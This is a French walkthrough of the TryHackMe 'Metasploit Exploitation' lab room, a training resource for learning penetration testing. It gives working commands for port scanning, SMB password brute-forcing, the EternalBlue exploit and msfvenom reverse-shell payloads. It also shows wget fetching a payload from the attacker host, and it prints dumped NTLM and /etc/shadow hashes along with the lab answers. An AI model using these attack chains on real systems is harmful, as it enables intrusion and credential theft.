TryHackMe - Metasploit Exploitation
Write-up de la room Metasploit Exploitation - Approfondir nos connaissances sur le Framework Metasploit (Partie 2 sur 3)
Informations sur la room
Cette room propose une introduction approfondie aux composants principaux du Framework Metasploit, l’outil de pentesting le plus populaire dans l’industrie de la cybersécurité.
Lien : Metasploit Exploitation
Objectifs d’apprentissage
Cette room couvre les compétences suivantes :
- Analyse des systèmes cibles à l’aide de Metasploit
- Utilisation de la fonctionnalité de base de données Metasploit
- Réalisation d’analyses de vulnérabilités avec Metasploit
- Exploitation des services vulnérables sur les systèmes cibles
- Création de payloads avec msfvenom pour obtenir des sessions Meterpreter
Solutions des tâches
Task 1 - Introduction
Lancez l’AttackBox ou connectez-vous avec le VPN de TryHackMe pour commencer.
Task 2 - Scanning
Concepts abordés
Cette tâche introduit plusieurs commandes essentielles pour le scan de ports avec Metasploit.
Recherche de modules de scan
La commande search portscan permet de rechercher tous les modules disponibles pour le scan de ports :
1
msf6 > search portscan
Résultat :
1
2
3
4
5
6
7
8
9
10
11
12
13
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 auxiliary/scanner/http/wordpress_pingback_access normal No Wordpress Pingback Locator
1 auxiliary/scanner/natpmp/natpmp_portscan normal No NAT-PMP External Port Scanner
2 auxiliary/scanner/portscan/ack normal No TCP ACK Firewall Scanner
3 auxiliary/scanner/portscan/ftpbounce normal No FTP Bounce Port Scanner
4 auxiliary/scanner/portscan/syn normal No TCP SYN Port Scanner
5 auxiliary/scanner/portscan/tcp normal No TCP Port Scanner
6 auxiliary/scanner/portscan/xmas normal No TCP "XMas" Port Scanner
7 auxiliary/scanner/sap/sap_router_portscanner normal No SAPRouter Port Scanner
Configuration du scanner TCP
Avant d’utiliser un module de scan, il est nécessaire de configurer certains paramètres :
1
msf6 auxiliary(scanner/portscan/tcp) > show options
Paramètres importants :
CONCURRENCY: Nombre de cibles pouvant être scannées simultanémentPORTS: Plage de ports à analyser (par défaut 1-10000)RHOSTS: Adresse IP ou réseau cible à scannerTHREADS: Nombre de threads simultanés (plus il y en a, plus le scan est rapide)
La plage de ports par défaut dans Metasploit (1-10000) diffère de celle de Nmap, qui scanne les 1000 ports les plus courants. Metasploit analyse séquentiellement tous les ports dans la plage spécifiée.
Utilisation de Nmap dans Metasploit
Il est également possible d’exécuter directement Nmap depuis la console Metasploit :
1
msf6 > nmap -sS 10.10.12.229
Résultat du scan :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
Starting Nmap 7.60 ( https://nmap.org ) at 2021-08-20 03:54 BST
Nmap scan report for ip-10-10-12-229.eu-west-1.compute.internal (10.10.12.229)
Host is up (0.0011s latency).
Not shown: 992 closed ports
PORT STATE SERVICE
135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds
3389/tcp open ms-wbt-server
49152/tcp open unknown
49153/tcp open unknown
49154/tcp open unknown
49158/tcp open unknown
MAC Address: 02:CE:59:27:C8:E3 (Unknown)
Nmap done: 1 IP address (1 host up) scanned in 64.19 seconds
Scanner UDP
Le module auxiliary/scanner/discovery/udp_sweep permet d’identifier rapidement les services UDP, notamment :
- DNS (Domain Name System)
- NetBIOS (protocole de communication réseau local)
Scanner SMB
Metasploit propose plusieurs modules spécialisés pour SMB (Server Message Block) :
smb_version: Identifie la version SMBsmb_enumshares: Énumère les partages réseau (utile en environnement d’entreprise)
1
2
3
4
5
msf6 auxiliary(scanner/smb/smb_version) > run
[+] 10.10.12.229:445 - Host is running Windows 7 Professional SP1 (build:7601) (name:JON-PC) (workgroup:WORKGROUP) (signatures:optional)
[*] 10.10.12.229:445 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
Questions et résolutions
Question 1 : How many ports are open on the target system?
J’ai utilisé le scanner TCP de Metasploit pour identifier les ports ouverts.
Configuration du module :
1
2
3
msf6 > use auxiliary/scanner/portscan/tcp
msf6 auxiliary(scanner/portscan/tcp) > set RHOSTS 10.10.217.202
msf6 auxiliary(scanner/portscan/tcp) > run
Résultat :
1
2
3
4
5
6
7
[+] 10.10.217.202 - 10.10.217.202:21 - TCP OPEN
[+] 10.10.217.202 - 10.10.217.202:22 - TCP OPEN
[+] 10.10.217.202 - 10.10.217.202:139 - TCP OPEN
[+] 10.10.217.202 - 10.10.217.202:445 - TCP OPEN
[+] 10.10.217.202 - 10.10.217.202:8000 - TCP OPEN
[*] 10.10.217.202 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
Cinq ports sont ouverts sur le système cible.
Réponse : 5
Question 2 : Using the relevant scanner, what NetBIOS name can you see?
Pour identifier le nom NetBIOS, j’ai utilisé le scanner UDP qui détecte automatiquement les services NetBIOS.
1
2
3
msf6 > use auxiliary/scanner/discovery/udp_sweep
msf6 auxiliary(scanner/discovery/udp_sweep) > set RHOSTS 10.10.217.202
msf6 auxiliary(scanner/discovery/udp_sweep) > run
Résultat :
1
2
3
4
[*] Sending 13 probes to 10.10.217.202->10.10.217.202 (1 hosts)
[*] Discovered NetBIOS on 10.10.217.202:137 (__MSBROWSE__:<01>:G ::<00>:U ::<03>:U ::<20>:U :ACME IT SUPPORT:<00>:G :ACME IT SUPPORT:<1d>:U :ACME IT SUPPORT:<1e>:G :00:00:00:00:00:00)
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
Le nom NetBIOS apparaît clairement dans les résultats.
Réponse : ACME IT SUPPORT
Question 3 : What is running on port 8000?
Pour identifier le service et sa version sur un port spécifique, j’ai utilisé Nmap avec l’option de détection de version.
1
msf6 > nmap -sS -sV 10.10.217.202
Résultat :
1
2
3
4
5
6
7
8
9
10
11
12
Starting Nmap 7.80 ( https://nmap.org ) at 2025-10-17 00:35 BST
Nmap scan report for 10.10.217.202
Host is up (0.0046s latency).
Not shown: 995 closed ports
PORT STATE SERVICE VERSION
21/tcp open ftp ProFTPD
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.13 (Ubuntu Linux; protocol 2.0)
139/tcp open netbios-ssn Samba smbd 4.6.2
445/tcp open netbios-ssn Samba smbd 4.6.2
8000/tcp open http WebFS httpd 1.21
MAC Address: 02:53:AB:69:19:59 (Unknown)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Le service WebFS version 1.21 est en écoute sur le port 8000.
Réponse : webfs/1.21
Question 4 : What is the “penny” user’s SMB password? Use the wordlist mentioned in the previous task.
Pour effectuer une attaque par force brute sur le service SMB, j’ai utilisé le module smb_login.
1
2
3
4
5
msf6 > use auxiliary/scanner/smb/smb_login
msf6 auxiliary(scanner/smb/smb_login) > set RHOSTS 10.10.217.202
msf6 auxiliary(scanner/smb/smb_login) > set SMBUser penny
msf6 auxiliary(scanner/smb/smb_login) > set PASS_FILE /usr/share/wordlists/MetasploitRoom/MetasploitWordlist.txt
msf6 auxiliary(scanner/smb/smb_login) > run
Le module
smb_loginteste automatiquement chaque mot de passe de la wordlist jusqu’à trouver les bonnes credentials.
Réponse : leo1234
Task 3 - The Metasploit Database
Gestion des workspaces
Metasploit intègre une base de données PostgreSQL permettant d’organiser les projets via des workspaces dédiés.
Vérification du statut de la base de données :
1
2
msf6 > db_status
[*] Connected to msf. Connection type: postgresql.
Commandes de gestion des workspaces :
1
2
3
4
workspace # Affiche le workspace actuel
workspace -a nom # Crée un nouveau workspace
workspace -d nom # Supprime un workspace
workspace -h # Affiche l'aide
L’utilisation de workspaces permet de séparer les données de différents pentests et d’organiser efficacement vos résultats.
Task 4 - Vulnerability Scanning
Obtenir des informations sur un module
La commande info affiche des informations détaillées sur un module Metasploit, incluant :
- Description du module
- Options disponibles
- Références de vulnérabilités
- Auteur(s) du module
1
msf6 > info module_name
Question et résolution
Question : Who wrote the module that allows us to check SMTP servers for open relay?
Pour trouver l’auteur du module, j’ai d’abord recherché les modules SMTP liés aux relais ouverts.
1
msf6 > search SMTP relay
Résultat :
1
2
3
4
5
6
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 auxiliary/scanner/smtp/smtp_relay normal No SMTP Open Relay Detection
Ensuite, j’ai consulté les informations détaillées du module :
1
2
msf6 > use auxiliary/scanner/smtp/smtp_relay
msf6 auxiliary(scanner/smtp/smtp_relay) > info
L’auteur du module apparaît dans les métadonnées.
Réponse : Campbell Murray
Task 5 - Exploitation
Exploitation d’EternalBlue
Cette section couvre l’exploitation de la vulnérabilité MS17-010 (EternalBlue) sur une machine Windows.
Configuration et lancement de l’exploit :
1
2
3
msf6 > use exploit/windows/smb/ms17_010_eternalblue
msf6 exploit(windows/smb/ms17_010_eternalblue) > set RHOSTS 10.10.X.X
msf6 exploit(windows/smb/ms17_010_eternalblue) > exploit
Une fois l’exploitation réussie, une session Meterpreter s’ouvre automatiquement.
Meterpreter est un payload avancé qui fournit une interface interactive pour la post-exploitation du système compromis.
Questions et résolutions
Question 1 : What is the content of the flag.txt file?
Après avoir obtenu une session Meterpreter, je me suis positionné à la racine du système.
1
meterpreter > cd /
Ensuite, j’ai recherché le fichier flag.txt sur l’ensemble du système :
1
meterpreter > search -f flag.txt
Résultat :
1
2
3
4
5
6
Found 1 result...
=================
Path Size (bytes) Modified (UTC)
---- ------------ --------------
c:\Users\Jon\Documents\flag.txt 15 2021-07-15 03:39:25 +0100
Lecture du contenu du fichier :
1
meterpreter > cat c:\\Users\\Jon\\Documents\\flag.txt
Réponse : THM-5455554845
Question 2 : What is the NTLM hash of the password of the user “pirate”?
Pour extraire les hashes des utilisateurs locaux, Meterpreter propose la commande hashdump.
1
meterpreter > hashdump
Résultat :
1
2
3
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
pirate:1001:aad3b435b51404eeaad3b435b51404ee:8ce9a3ebd1647fcc5e04025019f4b875:::
Le hash NTLM de l’utilisateur “pirate” correspond à la partie située entre les doubles deux-points.
Réponse : 8ce9a3ebd1647fcc5e04025019f4b875
Task 6 - Msfvenom
Introduction à Msfvenom
Msfvenom est l’outil de génération de payloads de Metasploit. Il remplace les anciens outils msfpayload et msfencode en combinant leurs fonctionnalités.
Fonctionnalités principales :
- Génération de payloads personnalisés
- Support de multiples formats de sortie (exe, elf, php, dll, etc.)
- Compatibilité avec diverses plateformes (Windows, Linux, macOS, Android, etc.)
- Encodage des payloads pour l’évasion antivirus
Exemples de génération de payloads :
Linux :
1
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=10.10.X.X LPORT=4444 -f elf > shell.elf
Windows :
1
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.X.X LPORT=4444 -f exe > shell.exe
PHP :
1
msfvenom -p php/meterpreter_reverse_tcp LHOST=10.10.X.X LPORT=4444 -f raw > shell.php
ASP :
1
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.X.X LPORT=4444 -f asp > shell.asp
Python :
1
msfvenom -p cmd/unix/reverse_python LHOST=10.10.X.X LPORT=4444 -f raw > shell.py
Exercice pratique : Exploitation complète
Étape 1 : Connexion SSH
Connexion au système cible avec les credentials fournis :
1
ssh murphy@10.10.52.128
Élévation de privilèges :
1
sudo su
Étape 2 : Création du payload
Génération d’un payload Meterpreter au format ELF pour Linux :
1
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=10.10.43.133 LPORT=4444 -f elf > shell.elf
Attribution des permissions d’exécution :
1
chmod +x shell.elf
Étape 3 : Transfert du payload
Démarrage d’un serveur web sur la machine attaquante :
1
python3 -m http.server 9000
Téléchargement du payload sur la machine cible via SSH :
1
2
wget http://10.10.138.232:9000/shell.elf
chmod +x shell.elf
Étape 4 : Configuration du handler
Dans Metasploit, configuration d’un handler pour recevoir la connexion inverse :
1
2
3
4
5
msf6 > use exploit/multi/handler
msf6 exploit(multi/handler) > set PAYLOAD linux/x86/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set LHOST 10.10.43.133
msf6 exploit(multi/handler) > set LPORT 4444
msf6 exploit(multi/handler) > run
Étape 5 : Exécution du payload
Sur la machine cible via SSH :
1
./shell.elf
Une session Meterpreter s’ouvre automatiquement sur la machine attaquante.
Le module
exploit/multi/handlerest essentiel pour recevoir les connexions inverses de n’importe quel type de payload.
Question finale
Question : What is the other user’s password hash?
Une fois la session Meterpreter établie, lecture du fichier /etc/shadow contenant les hashes des mots de passe :
1
meterpreter > cat /etc/shadow
Extrait du résultat :
1
2
murphy:$6$qK0Kt4UO$HuCrlOJGbBJb5Av9SL7rEzbxcz/KZYFkMwUqAE0ZMDpNRmOHhPHeI2JU3m9OBOS7lUKkKMADLxCBcywzIxl7b.:18851:0:99999:7:::
claire:$6$Sy0NNIXw$SJ27WltHI89hwM5UxqVGiXidj94QFRm2Ynp9p9kxgVbjrmtMez9EqXoDWtcQd8rf0tjc77hBFbWxjGmQCTbep0:18851:0:99999:7:::
Le hash complet de l’utilisateur “claire” est visible dans la sortie.
Réponse : $6$Sy0NNIXw$SJ27WltHI89hwM5UxqVGiXidj94QFRm2Ynp9p9kxgVbjrmtMez9EqXoDWtcQd8rf0tjc77hBFbWxjGmQCTbep0:18851
Task 7 - Summary
Félicitations ! Vous avez complété cette room sur l’exploitation avec Metasploit. Vous maîtrisez maintenant :
- Le scan de ports et de services avec Metasploit
- L’utilisation de la base de données et des workspaces
- L’exploitation de vulnérabilités connues
- La création et l’utilisation de payloads personnalisés avec msfvenom
- La post-exploitation avec Meterpreter
Room complétée
